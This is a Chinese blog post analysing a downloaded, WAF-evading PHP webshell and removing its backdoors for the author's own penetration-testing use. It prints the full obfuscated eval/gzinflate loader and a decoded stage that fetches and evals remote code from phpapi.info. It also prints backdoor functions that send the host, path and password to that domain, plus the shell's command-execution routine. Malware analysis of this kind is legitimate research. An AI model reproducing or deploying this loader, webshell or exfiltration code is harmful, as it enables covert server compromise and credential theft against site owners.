一个无后门的 PHP WebShell

最近突然发现手边没有称手的 PHP webshell,于是去网上随便找了一个看起来不错的大马,去掉了后门,嘿嘿

前言

之前都是用一句话+菜刀,因为做做 ctf,有后门也还无所谓,后来对真实的业务进行渗透测试,有后门可就惨了。而且菜刀 Linux 也用不了。去后门的过程中顺带看看 php,有一段时间没看了有点生疏。还顺便修了一些 bug。。我咋觉得这些 webshell 代码都是抄来抄去的 ==

大马分析

大马下载

这个大马号称:

“功能特色:免杀,过一切 WAF !无视安全狗、D 盾、护卫神、安骑士、云锁、360 等等安全系统......支持菜刀、xise 一句话连接”

心动不?来看看源码

1
2
3
4
<?php
$password='admin'; //password

$html='$password'.'='."'".$password."';".'@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l('.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e(b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'('."'lVZhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R4Ugubbv961+/7LnfFGyOAsyqtzrOnre3UHw7GN0ilS1Pf96EIQHI5LmcrXLnmiSBAdHDRNpmE2yIKfDhLRRt39poeOG2UY3NA1ZIZDjoVbjUF/i8AQQhoEgx0d+SDALibb6pdwO4n7Xdqzh33fdrvnP460Z2uFhx3M+f6DDT9mhd5G5odn66Ny04k/N8bvz0empouuVCA4p6jGUq6cP10M7iYOmexl8dv7t2XHRtTtjbI9a2O4UgTfg+Ntdcns4Lm69uBXcZPndU/JIbKfo3Tg8nMSTq0JGmgeSQkYPKc6lvuQHFbnQ1EgwPGYZSdWlkiWrhKZjSDwLuCA+UNQkzwVUafH9gfCfYFKaflFB01i9rxrETEj1Rc5zlrCCcG1uKjfU+xWwKAPLFzJa6Wugt6aB9qFOUjZ7A5SBmmbVU2YF3ivkS0T2IIMrtuWhg+cZ2Sm68Lzrg2bD/Mq/pkp7g0cDXC4g9gl6LjlMX7UcQJH9dSar7AT9/xp7FfqcpSkpz+oEnSdMEGm9ySMqOM2J1MAovfU6Ik1jEoSEgxrN+h5maQ7shVSqDlzENCHQexFhUSnxmsaLQiHy7EYE6qlkcWS+O66zeDmqJZtTZG5EXCXWmBUY2YA3/VOIN2+QNucH+YF06NcvVFmQauq/51ARzvxz+NpnhOWhlbqtiS6bZpFgZXOOMF226x4UfMZAVmws5oQus1prYwybPk1prr6yT34QXG9zHAOZF2+tyrVchbHLMpi8ODbQ+cC96l17PrxmdLay9i67Vm/gQd+2trJ3LW/gOp575vQ7lmsgzx1Y29HqW+6ZbTmeUZn+K0MGL3KVSkjnNdz5oS13tjgMEM6H4tfUIIEpJ2elH22aqDmZZLLR3kfQV2vjtIwAFvlPbWap6xvK5j2dZIm8HlTVmCOugVRoKiFJPlJ+loYdiKlshpR0ZAL+oiRXuFUE2JT/HjRSFCSC1MpqNvfl7Z4EeJYt2AMjBZzxyqmsX+rgPHqiaZQEef2yBd8Ks+ns92CLvwPyGCQbLQBs+h8=')));";$css=base64_decode("Q3JlYXRlX0Z1bmN0aW9u");$style=$css('',preg_replace("/#html/","",$html));$style();/*));.'<linkrel="stylesheet"href="$#css"/>';*/

eval(gzinflate(base64_decode('加密大马源码'))); 一种绕 waf 的姿势

还原一下看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
error_reporting(0);
session_start();
if (!isset($_SESSION["phpapi"])) {
$c = '';
$useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)';
$url = base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2THpRd05DNW5hV1k9Cg=="));
$urlNew = base64_decode("LzBPbGlha1RIaXNQOGhwMGFkcGg5cGFwaTUrcjZlY2kwYTh5aWptZzlveGNwOWNrdmhmLw==");
if (function_exists('fsockopen')) {
$link = parse_url($url);
$query = $link['path'];
$host = strtolower($link['host']);
$fp = fsockopen($host, 80, $errno, $errstr, 10);
if ($fp) {
$out = "GET /{$query} HTTP/1.0\r\n";
$out .= "Host: {$host}\r\n";
$out .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
$inheader = 1;
$contents = "";
while (!feof($fp)) {
$line = fgets($fp, 4096);
if ($inheader == 0) {
$contents .= $line;
}
if ($inheader && ($line == "\n" || $line == "\r\n")) {
$inheader = 0;
}
}
fclose($fp);
$c = $contents;
}
}
if (!strpos($c, $urlNew) && function_exists('curl_init') && function_exists('curl_exec')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
$c = curl_exec($ch);
curl_close($ch);
}
if (!strpos($c, $urlNew) && ini_get('allow_url_fopen')) {
$temps = @file($url);
if (!empty($temps)) {
$c = @implode('', $temps);
}
if (!strpos($c, "delDirAndFile")) {
$c = @file_get_contents($url);
}
}
if (strpos($c, $urlNew) !== false) {
$c = str_replace($urlNew, "", $c);
$_SESSION["phpapi"] = gzinflate(base64_decode($c));
}
}
if (isset($_SESSION["phpapi"])) {
eval($_SESSION["phpapi"]);
}

看看 $url 是啥:

http://phpapi.info/404.gif

这段代码大意是向服务器请求了一下

最后结果经过 gzinflate(base64_decode($c)) 放到了 $_SESSION["phpapi"]

ok,那看看它拿了啥回来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
error_reporting(0);
date_default_timezone_set('UTC');
ob_start();
define('myaddress', $_SERVER['SCRIPT_FILENAME']);
define('postpass', $password);

function Exec_Run($cmd)
{
$res = '';
if (function_exists('exec')) {
@exec($cmd, $res);
$res = join("\n", $res);
} elseif (function_exists('shell_exec')) {
$res = @shell_exec($cmd);
} elseif (function_exists('system')) {
@ob_start();
@system($cmd);
$res = @ob_get_contents();
@ob_end_clean();
} elseif (function_exists('passthru')) {
@ob_start();
...

很明显,这个就是最终的大马了。那么后门有没有呢?

当然有:

后门 No.1

show_mainp()

$_POST[postpass] 有值的时候,调用这个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function show_mainp()
{
$domain = $_SERVER ['HTTP_HOST'];
if (strpos($domain, "0.0") !== false || strpos($domain, "192.168.") !== false || strpos($domain, "localhost") !== false) {
$indexhtmls="200 OK";
} else {
@set_time_limit(10);
$apiname = urlencode($_SERVER ['HTTP_HOST'] . $_SERVER['SCRIPT_NAME']);
$apivalue = urlencode(postpass);
$apitoken = base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2TDJGd2FTNXdhSEEvYm1GdFpUMD0="));
$apikey = "&id=" . urlencode(get_proxy_ip());
$url = $apitoken . $apiname . '&value=' . $apivalue.$apikey;
GetHtml($url);
}
@eval($_POST[postpass]);
exit;
}

首先判断是不是内网 ip,不是的话,对

http://phpapi.info/api.php?name=127.0.0.1/test.php&value=admin&id=127.0.0.1

这个链接发起请求(这个地方我把判断本地的 if 去掉了

可以看到,ip,具体的地址,以及密码,都发过去了。

后门 No.2

hmlogin()

那如果你的密码或者路径改过了怎么办?居然不告诉后门太不公平了:

1
2
3
4
5
6
7
8
9
function hmlogin()
{
$domain = $_SERVER ['HTTP_HOST'];
if (strpos($domain, "0.0") !== false || strpos($domain, "192.168.") !== false || strpos($domain, "localhost") !== false) {
echo "<meta http-equiv='refresh' content='0'>";
} else {
show_main();
}
}

show_main()

1
2
3
4
5
6
7
8
9
10
11
function show_main()
{
@set_time_limit(10);
$apiname = urlencode($_SERVER ['HTTP_HOST'] . $_SERVER['SCRIPT_NAME']);
$apivalue = urlencode(postpass);
$apitoken = base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2TDJGd2FTNXdhSEEvYm1GdFpUMD0="));
$apikey = "&id=" . urlencode(get_proxy_ip());
$url = $apitoken . $apiname . '&value=' . $apivalue.$apikey;
GetHtml($url);
echo "<meta http-equiv='refresh' content='0'>";
}

http://phpapi.info/api.php?name=127.0.0.1%2Ftest.php&value=admin&id=127.0.01

后门 No.3

改了密码也没事,我还有万能密码呢 :D,这也是 webshell 常用的留后门手段

diff

大马源码分析

抱着看看 php 想法,啃完了 3000 行大马,其实也没什么东西,就是写起来很繁琐。

最后的源码中我加了很多注释,可以参考看看。

说下改进的地方:

  1. 系统信息 这里,运行不了,发现是 new COM 引起的。吐槽一下作者定义变量喜欢先定义,过几行再用。。其实判断一下系统是否为 win 即可。
  2. 批量搜索文件 这里会存在权限问题,捕获一下 warning 即可,注意返回值的判断。
  3. SQL 的问题是 mysql 函数还是 mysqli 函数,我的版本比较高,已经废弃了 mysql 函数,这个可以加个版本判断或者函数存在检查,太麻烦,懒得弄。emmmmmm
  4. 修改时间 这个是用不了的。
  5. 文件大小 居中

如有空再修一修,暂时放着

去后门的源码

太长了,放在 gayhub 吧

Tr0y.php

Unknown 是比较模糊的地方,就跳过了。

仅限于研究使用,禁止用于非法用途

来呀快活呀


一个无后门的 PHP WebShell
https://www.tr0y.wang/2018/04/19/PHPWebShell/
作者
Tr0y
发布于
2018年4月19日
更新于
2024年4月19日
许可协议